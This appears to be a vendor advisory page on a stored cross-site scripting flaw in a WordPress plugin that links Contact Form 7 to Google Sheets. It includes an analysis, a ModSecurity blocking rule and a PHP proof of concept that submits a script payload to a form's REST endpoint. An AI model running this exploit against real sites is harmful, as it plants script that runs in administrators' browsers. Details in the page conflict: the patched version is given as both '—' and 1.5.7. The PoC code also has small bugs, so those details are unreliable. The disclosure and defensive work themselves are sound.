Published : December 1, 2026

CVE-2026-128104: Integration for Google Sheets and Contact Form 7, WPForms, Elementor, Ninja Forms <= 1.1.6 Unauthenticated Stored Cross-Site Scripting via Google Sheets API Error Response via CF7 Form Submission PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 1.1.6
Patched Version —
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-128104 (metadata-based):

This is an unauthenticated stored cross-site scripting vulnerability in the Integration for Google Sheets and Contact Form 7, WPForms, Elementor, Ninja Forms plugin for WordPress versions up to and including 1.1.6. The flaw affects any CF7 form field that is mapped to a Google Sheets column and whose submitted value causes a Google Sheets API USER_ENTERED validation failure. The resulting error message from the Google Sheets API, which contains the attacker-supplied value, is not sanitized or escaped before being stored and later rendered, allowing arbitrary script execution. CVSS 3.1 score 5.4 (Medium) with scope change, reflecting the limited but cross-boundary impact typical of stored XSS in a WordPress plugin.

Root cause (inferred from CWE-79 and description): The plugin fails to sanitize user input before storing the API error response and fails to escape it on output. When a form submission triggers a Google Sheets API USER_ENTERED validation failure, the API returns an error message that includes the submitted value. The plugin stores this error message (likely as form entry metadata or a transient) without applying WordPress sanitization functions (e.g., sanitize_text_field, wp_kses) and later renders it without output escaping (e.g., esc_html, esc_attr). The CWE classification (Improper Neutralization of Input During Web Page Generation) confirms the vulnerable pattern is missing output encoding. The exact code location and function names are not confirmed because no source diff is available.

Exploitation: An unauthenticated attacker submits a Contact Form 7 form that is configured with a Google Sheets feed. The attacker includes a crafted value in a mapped field (e.g., your-message) that causes the Google Sheets API to reject the row for USER_ENTERED validation (for example, a value that violates a column type constraint). The API returns an error message echoing the malicious string, which the plugin stores without sanitization. When an administrator or other user later views the form entries or logs page where the error is displayed, the injected script executes in the context of the WordPress admin. The attacker does not need any authentication or nonce because CF7 forms accept public submissions.

Remediation: The patched version (1.5.7) likely adds proper sanitization of the error message before storage and output escaping when rendering. Developers should apply sanitize_text_field or wp_kses_post to any API response data before saving, and use esc_html or esc_attr on output. Atomic Edge analysis infers the fix follows standard WordPress security practices for XSS prevention, but the exact implementation is not confirmed from code.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any authenticated user who views the injected page (e.g., admin, editor). This can lead to session hijacking, credential theft, creation of malicious admin accounts, or full site compromise. The CVSS vector indicates low confidentiality and integrity impact with scope change, but the practical risk is elevated because the target user is likely a privileged administrator.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-128104 (metadata-based)
# This rule blocks attempts to exploit CVE-2026-128104 by detecting XSS payloads in
# submissions to the Contact Form 7 feedback endpoint when the payload targets fields
# that are likely to be mapped to Google Sheets and cause API errors.
# Since the exact AJAX action or REST route is not specified in the metadata, we rely on
# the CF7 feedback endpoint and inspect POST parameters for XSS patterns.
# This is a narrow virtual patch targeting the known attack vector.
SecRule REQUEST_URI "@rx ^/wp-json/contact-form-7/v1/contact-forms/[0-9]+/feedback$" 
  "id:2026128104,phase:2,deny,status:403,chain,msg:'CVE-2026-128104: Unauthenticated Stored XSS via CF7 submission to Google Sheets API error',severity:'CRITICAL',tag:'CVE-2026-128104'"
  SecRule ARGS_POST "@detectXSS" "t:none,t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-128104 - Unauthenticated Stored XSS via Google Sheets API Error Response in CF7 Form Submission

// Configuration
$target_url = 'http://example.com'; // WordPress site base URL
$cf7_form_id = '123'; // Replace with a valid CF7 form ID that has a Google Sheets feed configured
$mapped_field_name = 'your-message'; // Replace with a field actually mapped to a Google Sheets column that triggers USER_ENTERED validation failure

// Malicious payload: a string that causes Google Sheets API to reject the value
// and return an error message containing the script, which is then stored unsanitized.
$payload = '<script>alert("XSS");</script>';

// Build CF7 submission data
$post_data = array(
    '_wpcf7' => $cf7_form_id,
    '_wpcf7_version' => '5.7',
    '_wpcf7_locale' => 'en_US',
    '_wpcf7_unit_tag' => 'wpcf7-f' . $cf7_form_id . '-p1-o1',
    $mapped_field_name => $payload,
    // Include other required fields such as your-name, your-email, etc., depending on the form
    'your-name' => 'Attacker',
    'your-email' => 'attacker@example.com',
    'your-subject' => 'Test',
    'your-message' => $payload, // ensure this matches the mapped field
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/contact-form-7/v1/contact-forms/' . $cf7_form_id . '/feedback');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: AtomicEdge-PoC/1.0'
));

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
if ($response === false) {
    echo "Request failed: " . curl_error($ch) . "n";
} else {
    echo "HTTP status: $http_coden";
    echo "Response: $responsen";
    echo "If the form submission succeeded and the Google Sheets feed triggered a validation error, the payload may now be stored.n";
    echo "Log in as an administrator and visit the page where the plugin displays the Google Sheets API error to trigger the XSS.n";
}

// Note: This PoC assumes the REST API endpoint for CF7 is enabled and that the target form
// has a Google Sheets feed configured with a column that rejects the payload.
// The exact field name and form ID must be known or enumerated.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.